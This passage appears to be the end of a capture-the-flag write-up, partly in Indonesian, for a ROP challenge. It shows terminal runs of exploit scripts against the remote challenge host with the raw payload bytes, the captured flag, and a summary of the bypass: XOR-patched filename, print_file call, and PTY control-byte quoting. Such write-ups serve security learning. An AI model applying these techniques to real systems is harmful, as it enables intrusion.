❯ ./trial_payloads.py final 13.127.119.28 1338 00:36:26
[trial] final
[trial] payload_len=337
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[^R@^@^@^@^@^@fl`f/tyt`@@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@i^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@c@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@d@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@f@@^@^@^@^@^@n^R@^@^@^@^@^@r^R@^@^@^@^@^@`@@^@^@^@^@^@t^R@^@^@^@^@^@`^P@^@^@^@^@^@r^R@^@^@^@^@^@^@^@^@^@^@^@^@^@t^R@^@^@^@^@^@P^P@^@^@^@^@^@K^R@^@^@^@^@^@
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
Exploit Final
Remote:
~/ctf/tracebash/pwn
❯ python3 solve.py 13.127.119.28 1338 00:33:23
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[^R@^@^@^@^@^@fl`f/tyt`@@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@i^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@c@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@d@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@f@@^@^@^@^@^@n^R@^@^@^@^@^@r^R@^@^@^@^@^@`@@^@^@^@^@^@t^R@^@^@^@^@^@`^P@^@^@^@^@^@r^R@^@^@^@^@^@^@^@^@^@^@^@^@^@t^R@^@^@^@^@^@P^P@^@^@^@^@^@K^R@^@^@^@^@^@
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
timeout: the monitored command dumped core
Kesimpulan
Challenge ini bukan sekadar “overflow terus ret2win”. Ada dua filter:
Filter dari program: byte
x,g,a,.diubah jadi NUL.Filter dari transport:
socatpakaipty, jadi byte control terminal diproses dulu.
Strategi final:
Pakai overflow offset
88.Tulis string encoded ke
writebuf.Patch jadi
flag.txtpakai gadget XOR.Call
print_file(writebuf).Call
fflush(NULL)biar output aman.Kalau remote lewat PTY, quote control byte pakai
0x16.Baca prompt dan delay sebentar sebelum shutdown.
Lumayan chill, tapi jebakannya layer-by-layer. Kalau cuma lihat “jalan lokal” lalu langsung gas remote, bisa banget bengong karena payload yang sama ternyata diproses beda sama PTY.
Flag
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}